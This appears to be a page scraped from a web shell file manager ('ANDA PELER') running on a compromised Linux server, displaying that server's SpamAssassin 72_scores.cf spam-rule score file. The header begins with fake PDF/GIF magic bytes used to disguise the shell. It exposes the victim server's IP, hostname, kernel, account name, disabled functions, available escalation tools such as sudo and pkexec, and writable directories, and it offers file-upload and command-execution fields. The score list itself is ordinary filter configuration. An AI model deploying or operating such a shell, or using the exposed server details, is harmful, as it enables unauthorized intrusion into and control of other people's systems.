%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.162
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/spamassassin/3.004006/updates_spamassassin_org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/lib/spamassassin/3.004006/updates_spamassassin_org/72_scores.cf
score ACCT_PHISHING_MANY                    2.999 2.999 2.999 2.999
score AC_BR_BONANZA                         0.001 0.001 0.001 0.001
score AC_DIV_BONANZA                        0.001 0.001 0.001 0.001
score AC_FROM_MANY_DOTS                     2.499 0.001 2.499 0.001
score AC_HTML_NONSENSE_TAGS                 1.999 1.999 1.999 1.999
score AC_POST_EXTRAS                        1.147 1.502 1.147 1.502
score AC_SPAMMY_URI_PATTERNS1               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS10              1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS11              1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS12              1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS2               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS3               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS4               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS8               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS9               1.000 1.000 1.000 1.000
score ADMITS_SPAM                           3.116 3.189 3.116 3.189
score ADULT_DATING_COMPANY                  10.000 10.000 10.000 10.000
score ADVANCE_FEE_2_NEW_FORM                1.825 1.999 1.825 1.999
score ADVANCE_FEE_2_NEW_FRM_MNY             0.001 0.001 0.001 0.001
score ADVANCE_FEE_2_NEW_MONEY               0.001 0.001 0.001 0.001
score ADVANCE_FEE_3_NEW                     3.499 2.497 3.499 2.497
score ADVANCE_FEE_3_NEW_FORM                1.419 0.001 1.419 0.001
score ADVANCE_FEE_3_NEW_FRM_MNY             1.780 1.907 1.780 1.907
score ADVANCE_FEE_3_NEW_MONEY               0.001 0.001 0.001 0.001
score ADVANCE_FEE_4_NEW                     2.241 0.001 2.241 0.001
score ADVANCE_FEE_4_NEW_FRM_MNY             0.001 1.689 0.001 1.689
score ADVANCE_FEE_4_NEW_MONEY               1.034 2.799 1.034 2.799
score ADVANCE_FEE_5_NEW                     2.599 1.781 2.599 1.781
score ADVANCE_FEE_5_NEW_FRM_MNY             0.001 0.001 0.001 0.001
score ADVANCE_FEE_5_NEW_MONEY               0.001 0.001 0.001 0.001
score AD_PREFS                              0.250 0.250 0.250 0.250
score ALIBABA_IMG_NOT_RCVD_ALI              1.000 1.000 1.000 1.000
score AMAZON_IMG_NOT_RCVD_AMZN              2.499 2.499 2.499 2.499
score APP_DEVELOPMENT_FREEM                 1.000 1.000 1.000 1.000
score APP_DEVELOPMENT_NORDNS                1.000 1.000 1.000 1.000
score ARC_SIGNED                            0.001 0.001 0.001 0.001
score ARC_VALID                             0.001 0.001 0.001 0.001
score AXB_XMAILER_MIMEOLE_OL_024C2          0.001 0.001 0.001 0.001
score AXB_XMAILER_MIMEOLE_OL_1ECD5          0.001 0.663 0.001 0.663
score BEBEE_IMG_NOT_RCVD_BB                 1.000 1.000 1.000 1.000
score BIGNUM_EMAILS_FREEM                   0.740 2.615 0.740 2.615
score BIGNUM_EMAILS_MANY                    2.999 2.999 2.999 2.999
score BILLION_OVERLAP                       -0.980 0.001 -0.980 0.001
score BITCOIN_BOMB                          1.000 1.000 1.000 1.000
score BITCOIN_DEADLINE                      2.399 2.999 2.399 2.999
score BITCOIN_EXTORT_01                     2.102 0.001 2.102 0.001
score BITCOIN_EXTORT_02                     1.000 1.000 1.000 1.000
score BITCOIN_IMGUR                         1.000 1.000 1.000 1.000
score BITCOIN_MALF_HTML                     1.000 1.216 1.000 1.216
score BITCOIN_MALWARE                       3.423 2.805 3.423 2.805
score BITCOIN_OBFU_SUBJ                     1.000 1.000 1.000 1.000
score BITCOIN_ONAN                          1.000 1.000 1.000 1.000
score BITCOIN_PAY_ME                        1.000 1.000 1.000 1.000
score BITCOIN_SPAM_01                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_02                       2.499 2.500 2.499 2.500
score BITCOIN_SPAM_03                       2.101 0.001 2.101 0.001
score BITCOIN_SPAM_04                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_05                       0.001 2.499 0.001 2.499
score BITCOIN_SPAM_06                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_07                       1.000 0.001 1.000 0.001
score BITCOIN_SPAM_08                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_09                       1.499 1.499 1.499 1.499
score BITCOIN_SPAM_10                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_11                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_12                       1.000 1.000 1.000 1.000
score BITCOIN_SPF_ONLYALL                   0.001 1.000 0.001 1.000
score BITCOIN_TOEQFM                        3.499 3.499 3.499 3.499
score BITCOIN_VISTA                         0.001 0.001 0.001 0.001
score BITCOIN_XPRIO                         1.548 0.001 1.548 0.001
score BITCOIN_YOUR_INFO                     2.999 2.999 2.999 2.999
score BODY_URI_ONLY                         1.404 0.001 1.404 0.001
score BOGUS_MIME_VERSION                    3.499 0.001 3.499 0.001
score BOGUS_MSM_HDRS                        1.109 0.810 1.109 0.810
score BOMB_FREEM                            1.000 1.000 1.000 1.000
score BOMB_MONEY                            1.000 1.000 1.000 1.000
score BTC_ORG                               1.000 1.000 1.000 1.000
score BULK_RE_SUSP_NTLD                     1.000 1.000 1.000 1.000
score CANT_SEE_AD                           1.678 2.338 1.678 2.338
score CK_HELO_GENERIC                       0.249 0.249 0.249 0.249
score COMMENT_GIBBERISH                     1.000 1.000 1.000 1.000
score CONTENT_AFTER_HTML                    1.000 1.000 1.000 1.000
score CONTENT_AFTER_HTML_WEAK               1.499 0.001 1.499 0.001
score CTE_8BIT_MISMATCH                     0.999 0.260 0.999 0.260
score DAY_I_EARNED                          1.000 1.000 1.000 1.000
score DEAR_BENEFICIARY                      0.001 0.001 0.001 0.001
score DKIMWL_BL                             0.001 1.838 0.001 1.838
score DKIMWL_BLOCKED                        0.001 0.001 0.001 0.001
score DKIMWL_WL_HIGH                        0.001 -0.144 0.001 -0.144
score DKIMWL_WL_MED                         0.001 -0.001 0.001 -0.001
score DKIMWL_WL_MEDHI                       0.001 -0.001 0.001 -0.001
score DOS_BODY_HIGH_NO_MID                  3.899 3.268 3.899 3.268
score DOTGOV_IMAGE                          1.000 1.000 1.000 1.000
score DSN_NO_MIMEVERSION                    1.999 1.999 1.999 1.999
score DUP_SUSP_HDR                          2.499 2.316 2.499 2.316
score DYNAMIC_IMGUR                         2.354 0.001 2.354 0.001
score EBAY_IMG_NOT_RCVD_EBAY                1.000 1.000 1.000 1.000
score ENCRYPTED_MESSAGE                     -0.999 -0.999 -0.999 -0.999
score END_FUTURE_EMAILS                     2.499 1.729 2.499 1.729
score ENVFROM_GOOG_TRIX                     1.000 1.000 1.000 1.000
score FACEBOOK_IMG_NOT_RCVD_FB              1.999 1.999 1.999 1.999
score FAKE_REPLY_A1                         2.699 1.688 2.699 1.688
score FAKE_REPLY_B                          2.432 0.918 2.432 0.918
score FBI_MONEY                             0.292 0.557 0.292 0.557
score FBI_SPOOF                             1.897 1.545 1.897 1.545
score FILL_THIS_FORM                        0.001 0.998 0.001 0.998
score FONT_INVIS_DIRECT                     3.499 3.499 3.499 3.499
score FONT_INVIS_DOTGOV                     1.000 1.000 1.000 1.000
score FONT_INVIS_HTML_NOHTML                2.999 3.000 2.999 3.000
score FONT_INVIS_LONG_LINE                  2.688 2.999 2.688 2.999
score FONT_INVIS_MSGID                      2.499 2.499 2.499 2.499
score FONT_INVIS_NORDNS                     0.509 0.001 0.509 0.001
score FONT_INVIS_POSTEXTRAS                 2.147 1.896 2.147 1.896
score FORM_FRAUD                            0.999 0.001 0.999 0.001
score FORM_FRAUD_3                          0.001 0.001 0.001 0.001
score FORM_FRAUD_5                          0.001 0.001 0.001 0.001
score FOUND_YOU                             2.109 1.671 2.109 1.671
score FREEMAIL_FORGED_FROMDOMAIN            0.001 0.001 0.001 0.001
score FREEM_FRNUM_UNICD_EMPTY               1.000 1.000 1.000 1.000
score FRNAME_IN_MSG_XPRIO_NO_SUB            1.000 1.000 1.000 1.000
score FROM_ADDR_WS                          1.687 0.001 1.687 0.001
score FROM_BANK_NOAUTH                      0.001 0.999 0.001 0.999
score FROM_FMBLA_NDBLOCKED                  0.001 0.001 0.001 0.001
score FROM_FMBLA_NEWDOM                     0.001 0.714 0.001 0.714
score FROM_FMBLA_NEWDOM14                   0.001 1.000 0.001 1.000
score FROM_FMBLA_NEWDOM28                   0.001 0.800 0.001 0.800
score FROM_GOV_DKIM_AU                      0.001 -0.118 0.001 -0.118
score FROM_GOV_REPLYTO_FREEMAIL             0.001 1.000 0.001 1.000
score FROM_GOV_SPOOF                        0.001 1.000 0.001 1.000
score FROM_IN_TO_AND_SUBJ                   1.999 1.799 1.999 1.799
score FROM_MISSPACED                        0.001 0.001 0.001 0.001
score FROM_MISSP_DYNIP                      1.859 1.392 1.859 1.392
score FROM_MISSP_EH_MATCH                   0.001 0.001 0.001 0.001
score FROM_MISSP_FREEMAIL                   1.746 0.001 1.746 0.001
score FROM_MISSP_MSFT                       0.001 0.001 0.001 0.001
score FROM_MISSP_PHISH                      3.499 2.576 3.499 2.576
score FROM_MISSP_REPLYTO                    2.011 0.001 2.011 0.001
score FROM_MISSP_SPF_FAIL                   0.001 0.546 0.001 0.546
score FROM_MISSP_TO_UNDISC                  1.657 1.241 1.657 1.241
score FROM_MISSP_USER                       0.001 0.001 0.001 0.001
score FROM_MISSP_XPRIO                      0.001 0.001 0.001 0.001
score FROM_NEWDOM_BTC                       0.001 1.000 0.001 1.000
score FROM_NTLD_LINKBAIT                    1.103 1.032 1.103 1.032
score FROM_NTLD_REPLY_FREEMAIL              1.954 1.145 1.954 1.145
score FROM_NUMBERO_NEWDOMAIN                0.001 1.000 0.001 1.000
score FROM_PAYPAL_SPOOF                     0.001 1.000 0.001 1.000
score FROM_SUSPICIOUS_NTLD                  0.500 0.499 0.500 0.499
score FROM_SUSPICIOUS_NTLD_FP               1.999 1.496 1.999 1.496
score FROM_UNBAL1                           2.299 2.199 2.299 2.199
score FROM_WSP_TRAIL                        1.976 2.499 1.976 2.499
score FSL_BULK_SIG                          0.001 0.001 0.001 0.001
score FSL_CTYPE_WIN1251                     0.001 0.001 0.001 0.001
score FSL_NEW_HELO_USER                     0.001 0.001 0.001 0.001
score FUZZY_AMAZON                          0.911 2.799 0.911 2.799
score FUZZY_BITCOIN                         1.153 1.701 1.153 1.701
score FUZZY_IMPORTANT                       2.199 0.001 2.199 0.001
score FUZZY_TRUSTWALLET                     1.103 2.015 1.103 2.015
score FUZZY_WALLET                          0.788 0.001 0.788 0.001
score GAPPY_SALES_LEADS_FREEM               1.000 1.000 1.000 1.000
score GB_BITCOIN_NH                         2.265 2.999 2.265 2.999
score GB_CUSTOM_HTM_URI                     1.360 1.499 1.360 1.499
score GB_FAKE_RF_SHORT                      1.937 1.207 1.937 1.207
score GB_FORGED_MUA_POSTFIX                 1.000 1.000 1.000 1.000
score GB_FREEMAIL_DISPTO                    0.001 0.001 0.001 0.001
score GB_FREEMAIL_DISPTO_NOTFREEM           0.499 0.001 0.499 0.001
score GB_GOOGLE_OBFUR                       0.750 0.750 0.750 0.750
score GB_HASHBL_BTC                         0.001 1.431 0.001 1.431
score GOOGLE_DOCS_PHISH                     1.000 1.000 1.000 1.000
score GOOGLE_DOCS_PHISH_MANY                1.000 1.000 1.000 1.000
score GOOGLE_DOC_SUSP                       1.000 1.000 1.000 1.000
score GOOGLE_DRIVE_REPLY_BAD_NTLD           1.000 1.000 1.000 1.000
score GOOG_MALWARE_DNLD                     1.000 1.000 1.000 1.000
score GOOG_STO_EMAIL_PHISH                  1.000 1.000 1.000 1.000
score GOOG_STO_HTML_PHISH                   1.000 1.000 1.000 1.000
score GOOG_STO_HTML_PHISH_MANY              1.000 1.000 1.000 1.000
score GOOG_STO_IMG_HTML                     2.499 2.226 2.499 2.226
score GOOG_STO_IMG_NOHTML                   1.000 1.000 1.000 1.000
score GOOG_STO_NOIMG_HTML                   2.999 2.999 2.999 2.999
score HAS_X_NO_RELAY                        2.024 0.136 2.024 0.136
score HAS_X_OUTGOING_SPAM_STAT              1.000 1.000 1.000 1.000
score HDRS_MISSP                            2.499 2.237 2.499 2.237
score HDR_ORDER_FTSDMCXX_DIRECT             0.001 0.001 0.001 0.001
score HDR_ORDER_FTSDMCXX_NORDNS             2.089 0.001 2.089 0.001
score HEADER_FROM_DIFFERENT_DOMAINS         0.250 0.001 0.250 0.001
score HELO_NO_DOMAIN                        0.001 0.467 0.001 0.467
score HEXHASH_WORD                          1.000 1.000 1.000 1.000
score HK_CTE_RAW                            1.000 1.000 1.000 1.000
score HK_LOTTO                              0.001 0.001 0.001 0.001
score HK_NAME_FM_MR_MRS                     1.499 1.500 1.499 1.500
score HK_NAME_MR_MRS                        0.024 0.001 0.024 0.001
score HK_RANDOM_ENVFROM                     0.999 0.001 0.999 0.001
score HK_RANDOM_FROM                        0.649 0.001 0.649 0.001
score HK_RANDOM_REPLYTO                     0.999 0.999 0.999 0.999
score HK_RCVD_IP_MULTICAST                  1.000 1.000 1.000 1.000
score HK_SCAM                               1.999 1.651 1.999 1.651
score HK_WIN                                0.999 0.854 0.999 0.854
score HOSTED_IMG_DIRECT_MX                  3.471 2.583 3.471 2.583
score HOSTED_IMG_DQ_UNSUB                   1.000 1.000 1.000 1.000
score HOSTED_IMG_FREEM                      1.000 1.000 1.000 1.000
score HOSTED_IMG_MULTI                      1.000 1.000 1.000 1.000
score HOSTED_IMG_MULTI_PUB_01               3.000 2.999 3.000 2.999
score HREF_EMPTY_NORDNS                     0.001 1.711 0.001 1.711
score HREF_EMPTY_PHPMAIL                    1.000 1.000 1.000 1.000
score HREF_EMPTY_XANTIABUSE                 1.000 1.000 1.000 1.000
score HREF_EMPTY_XAUTHED                    1.000 1.000 1.000 1.000
score HTML_BADATTR                          0.999 0.999 0.999 0.999
score HTML_ENTITY_ASCII                     2.999 2.999 2.999 2.999
score HTML_ENTITY_ASCII_TINY                1.000 1.000 1.000 1.000
score HTML_FONT_TINY_NORDNS                 1.999 1.906 1.999 1.906
score HTML_OFF_PAGE                         1.000 1.000 1.000 1.000
score HTML_SHRT_CMNT_OBFU_MANY              1.000 1.000 1.000 1.000
score HTML_SINGLET_MANY                     1.858 2.361 1.858 2.361
score HTML_TEXT_INVISIBLE_FONT              0.001 1.095 0.001 1.095
score HTML_TEXT_INVISIBLE_STYLE             0.001 0.001 0.001 0.001
score IMG_DIRECT_TO_MX                      0.399 1.028 0.399 1.028
score IMG_ONLY_FM_DOM_INFO                  1.000 1.774 1.000 1.774
score JH_SPAMMY_HEADERS                     3.499 3.197 3.499 3.197
score JH_SPAMMY_PATTERN01                   1.000 1.000 1.000 1.000
score JH_SPAMMY_PATTERN02                   1.000 1.000 1.000 1.000
score KHOP_HELO_FCRDNS                      0.399 0.260 0.399 0.260
score LINKEDIN_IMG_NOT_RCVD_LNKN            1.000 1.000 1.000 1.000
score LIST_PRTL_PUMPDUMP                    1.000 1.000 1.000 1.000
score LIST_PRTL_SAME_USER                   1.000 1.000 1.000 1.000
score LONG_HEX_URI                          2.677 2.628 2.677 2.628
score LONG_IMG_URI                          1.300 2.792 1.300 2.792
score LONG_INVISIBLE_TEXT                   2.999 2.600 2.999 2.600
score LOTS_OF_MONEY                         0.010 0.010 0.010 0.010
score LOTTO_AGENT                           1.499 0.212 1.499 0.212
score LOTTO_DEPT                            0.238 1.999 0.238 1.999
score LUCRATIVE                             1.000 1.000 1.000 1.000
score MALFORMED_FREEMAIL                    3.399 2.966 3.399 2.966
score MALF_HTML_B64                         1.000 1.000 1.000 1.000
score MALWARE_NORDNS                        3.499 1.185 3.499 1.185
score MALWARE_PASSWORD                      1.000 2.317 1.000 2.317
score MANY_SUBDOM                           2.599 2.499 2.599 2.499
score MILLION_EUR                           2.294 2.699 2.294 2.699
score MILLION_HUNDRED                       0.149 0.001 0.149 0.001
score MILLION_USD                           0.270 0.001 0.270 0.001
score MIMEOLE_DIRECT_TO_MX                  0.001 0.001 0.001 0.001
score MIME_NO_TEXT                          1.999 1.999 1.999 1.999
score MIXED_AREA_CASE                       1.000 1.000 1.000 1.000
score MIXED_CENTER_CASE                     2.499 2.499 2.499 2.499
score MIXED_ES                              2.499 2.499 2.499 2.499
score MIXED_FONT_CASE                       1.000 1.000 1.000 1.000
score MIXED_HREF_CASE                       1.690 1.999 1.690 1.999
score MIXED_IMG_CASE                        1.000 1.000 1.000 1.000
score MONERO_DEADLINE                       1.000 1.000 1.000 1.000
score MONERO_EXTORT_01                      1.000 1.000 1.000 1.000
score MONERO_MALWARE                        1.000 1.000 1.000 1.000
score MONERO_PAY_ME                         1.000 1.000 1.000 1.000
score MONEY_ATM_CARD                        0.001 0.001 0.001 0.001
score MONEY_FORM                            0.001 0.001 0.001 0.001
score MONEY_FORM_SHORT                      0.001 0.001 0.001 0.001
score MONEY_FRAUD_3                         0.001 0.001 0.001 0.001
score MONEY_FRAUD_5                         0.001 0.001 0.001 0.001
score MONEY_FRAUD_8                         0.001 3.136 0.001 3.136
score MONEY_FREEMAIL_REPTO                  1.661 0.600 1.661 0.600
score MONEY_FROM_41                         1.999 1.982 1.999 1.982
score MONEY_FROM_MISSP                      0.001 0.001 0.001 0.001
score MONEY_NOHTML                          1.964 2.413 1.964 2.413
score MSGID_DOLLARS_URI_IMG                 1.000 1.000 1.000 1.000
score MSGID_HDR_MALF                        1.000 1.000 1.000 1.000
score MSM_PRIO_REPTO                        2.499 0.977 2.499 0.977
score NA_DOLLARS                            1.007 0.001 1.007 0.001
score NEWEGG_IMG_NOT_RCVD_NEGG              1.000 1.000 1.000 1.000
score NEW_PRODUCTS                          1.000 1.000 1.000 1.000
score NICE_REPLY_A                          -1.818 -0.699 -1.818 -0.699
score NOT_SPAM                              0.001 0.001 0.001 0.001
score NO_FM_NAME_IP_HOSTN                   0.001 0.001 0.001 0.001
score NSL_RCVD_FROM_USER                    0.001 0.001 0.001 0.001
score NSL_RCVD_HELO_USER                    0.868 0.727 0.868 0.727
score OBFU_BITCOIN                          2.759 2.326 2.759 2.326
score ODD_FREEM_REPTO                       2.999 2.249 2.999 2.249
score PDS_BAD_THREAD_QP_64                  0.001 0.001 0.001 0.001
score PDS_BTC_ID                            0.499 0.499 0.499 0.499
score PDS_BTC_MSGID                         0.001 0.001 0.001 0.001
score PDS_BTC_NTLD                          0.777 0.001 0.777 0.001
score PDS_DBL_URL_TNB_RUNON                 1.999 1.999 1.999 1.999
score PDS_HELO_SPF_FAIL                     0.001 1.738 0.001 1.738
score PDS_OTHER_BAD_TLD                     1.999 2.000 1.999 2.000
score PDS_TONAME_EQ_TOLOCAL_FREEM_FORGE     1.999 1.999 1.999 1.999
score PHISH_AZURE_CLOUDAPP                  3.500 3.500 3.500 3.500
score PHISH_FBASEAPP                        1.000 1.000 1.000 1.000
score PHP_NOVER_MUA                         1.000 1.000 1.000 1.000
score PHP_ORIG_SCRIPT                       1.404 2.383 1.404 2.383
score PHP_SCRIPT                            2.499 1.704 2.499 1.704
score PHP_SCRIPT_MUA                        1.000 1.000 1.000 1.000
score PP_MIME_FAKE_ASCII_TEXT               1.000 0.001 1.000 0.001
score PP_TOO_MUCH_UNICODE02                 0.500 0.500 0.500 0.500
score PP_TOO_MUCH_UNICODE05                 1.000 1.000 1.000 1.000
score PUMPDUMP                              1.000 1.000 1.000 1.000
score PUMPDUMP_MULTI                        1.000 1.000 1.000 1.000
score RAND_HEADER_LIST_SPOOF                1.000 1.000 1.000 1.000
score RAND_HEADER_MANY                      3.000 2.999 3.000 2.999
score RAND_MKTG_HEADER                      1.000 1.000 1.000 1.000
score RATWARE_NO_RDNS                       0.001 0.750 0.001 0.750
score RCVD_DOTEDU_SHORT                     1.000 1.000 1.000 1.000
score RCVD_DOTEDU_SUSP_URI                  1.000 1.000 1.000 1.000
score RCVD_IN_IADB_COURT                    0.001 0.001 0.001 0.001
score RCVD_IN_IADB_LEG_MAND                 0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_BL                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_H2                     0.001 -0.001 0.001 -0.001
score RCVD_IN_MSPIKE_H3                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_H4                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_H5                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L2                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L3                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L4                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L5                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_WL                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_ZBI                    0.001 0.001 0.001 0.001
score RDNS_NUM_TLD_ATCHNX                   1.000 1.000 1.000 1.000
score RDNS_NUM_TLD_XM                       1.000 1.000 1.000 1.000
score REPTO_419_FRAUD                       2.999 2.999 2.999 2.999
score REPTO_419_FRAUD_AOL                   1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_AOL_LOOSE             1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_CNS                   1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_GM                    2.030 0.001 2.030 0.001
score REPTO_419_FRAUD_GM_LOOSE              1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_HM                    2.930 2.334 2.930 2.334
score REPTO_419_FRAUD_OL                    2.999 2.366 2.999 2.366
score REPTO_419_FRAUD_OL_LOOSE              1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_PM                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_QQ                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_YH                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_YH_LOOSE              1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_YJ                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_YN                    1.000 1.000 1.000 1.000
score RISK_FREE                             2.399 2.477 2.399 2.477
score SCC_BOGUS_CTE_1                       0.001 1.999 0.001 1.999
score SCC_CANSPAM_2                         4.399 3.851 4.399 3.851
score SCC_ISEMM_LID_1                       1.000 1.000 1.000 1.000
score SCC_ISEMM_LID_1A                      1.000 1.000 1.000 1.000
score SCC_ISEMM_LID_1B                      1.499 1.499 1.499 1.499
score SCC_SPAMMER_ADDR_2                    3.177 3.399 3.177 3.399
score SENDGRID_REDIR                        0.001 0.001 0.001 0.001
score SENDGRID_REDIR_PHISH                  1.000 1.000 1.000 1.000
score SEO_SUSP_NTLD                         1.000 1.000 1.000 1.000
score SHOPIFY_IMG_NOT_RCVD_SFY              1.987 2.499 1.987 2.499
score SHORTENER_SHORT_IMG                   0.001 1.455 0.001 1.455
score SHORT_IMG_SUSP_NTLD                   0.812 0.001 0.812 0.001
score SHORT_SHORTNER                        1.999 1.684 1.999 1.684
score SHY_OBFU_EXPIRE                       1.000 1.000 1.000 1.000
score SHY_OBFU_PASSWORD                     1.000 1.000 1.000 1.000
score SPOOFED_FREEMAIL                      0.001 0.001 0.001 0.001
score SPOOFED_FREEMAIL_NO_RDNS              1.098 0.001 1.098 0.001
score SPOOFED_FREEM_REPTO                   0.001 2.499 0.001 2.499
score SPOOFED_FREEM_REPTO_CHN               0.001 1.000 0.001 1.000
score SPOOFED_FREEM_REPTO_RUS               0.001 1.000 0.001 1.000
score SPOOF_GMAIL_MID                       1.499 0.880 1.499 0.880
score STATIC_XPRIO_OLE                      0.001 0.001 0.001 0.001
score STOCK_TIP                             1.000 1.000 1.000 1.000
score SUBJ_ATTENTION                        0.499 0.001 0.499 0.001
score SUBJ_BRKN_WORDNUMS                    1.000 1.000 1.000 1.000
score SURBL_BLOCKED                         0.001 0.001 0.001 0.001
score SUSP_UTF8_WORD_FROM                   1.999 1.999 1.999 1.999
score SYSADMIN                              1.000 1.000 1.000 1.000
score TAGSTAT_IMG_NOT_RCVD_TGST             1.000 1.000 1.000 1.000
score TARINGANET_IMG_NOT_RCVD_TN            1.000 1.000 1.000 1.000
score TEQF_USR_POLITE                       1.999 1.380 1.999 1.380
score THIS_AD                               0.799 0.899 0.799 0.899
score THIS_IS_ADV_SUSP_NTLD                 1.000 1.000 1.000 1.000
score TONLINE_FAKE_DKIM                     1.000 1.000 1.000 1.000
score TO_EQ_FM_DIRECT_MX                    0.001 0.001 0.001 0.001
score TO_EQ_FM_DOM_SPF_FAIL                 0.001 0.001 0.001 0.001
score TO_EQ_FM_SPF_FAIL                     0.001 0.001 0.001 0.001
score TO_IN_SUBJ                            0.099 0.001 0.099 0.001
score TO_NAME_SUBJ_NO_RDNS                  1.000 1.000 1.000 1.000
score TO_NO_BRKTS_FROM_MSSP                 2.499 2.499 2.499 2.499
score TO_NO_BRKTS_HTML_IMG                  1.598 1.999 1.598 1.999
score TO_NO_BRKTS_HTML_ONLY                 1.999 1.999 1.999 1.999
score TO_NO_BRKTS_MSFT                      0.001 2.179 0.001 2.179
score TO_NO_BRKTS_NORDNS_HTML               0.001 0.001 0.001 0.001
score TO_NO_BRKTS_PCNT                      2.499 2.326 2.499 2.326
score TVD_PH_SUBJ_META                      2.502 2.377 2.502 2.377
score TVD_SPACE_ENCODED                     2.499 2.499 2.499 2.499
score TVD_SPACE_RATIO_MINFP                 0.909 0.001 0.909 0.001
score TW_GIBBERISH_MANY                     1.000 1.000 1.000 1.000
score UC_GIBBERISH_OBFU                     1.000 1.000 1.000 1.000
score UNDISC_FREEM                          2.699 2.168 2.699 2.168
score UNDISC_MONEY                          2.127 0.923 2.127 0.923
score UNICODE_OBFU_ASC                      2.500 2.499 2.500 2.499
score UNICODE_OBFU_ZW                       1.000 1.000 1.000 1.000
score UNICODE_OBFU_ZW_MANY                  0.001 0.001 0.001 0.001
score UNSUB_GOOG_FORM                       1.000 1.000 1.000 1.000
score URI_ADOBESPARK                        1.000 1.000 1.000 1.000
score URI_AZURE_CLOUDAPP                    1.000 1.000 1.000 1.000
score URI_CLOUDFLAREIPFS                    2.999 0.001 2.999 0.001
score URI_DASHGOVEDU                        1.000 1.000 1.000 1.000
score URI_DATA                              1.000 1.000 1.000 1.000
score URI_DOTEDU                            1.000 1.000 1.000 1.000
score URI_DOTEDU_ENTITY                     1.000 1.000 1.000 1.000
score URI_FIREBASEAPP                       2.970 2.999 2.970 2.999
score URI_GOOGDRAWPREVIEW                   2.591 0.001 2.591 0.001
score URI_GOOGDRAWPREVIEW_MINFP             2.999 3.000 2.999 3.000
score URI_GOOGLE_PROXY                      2.299 1.999 2.299 1.999
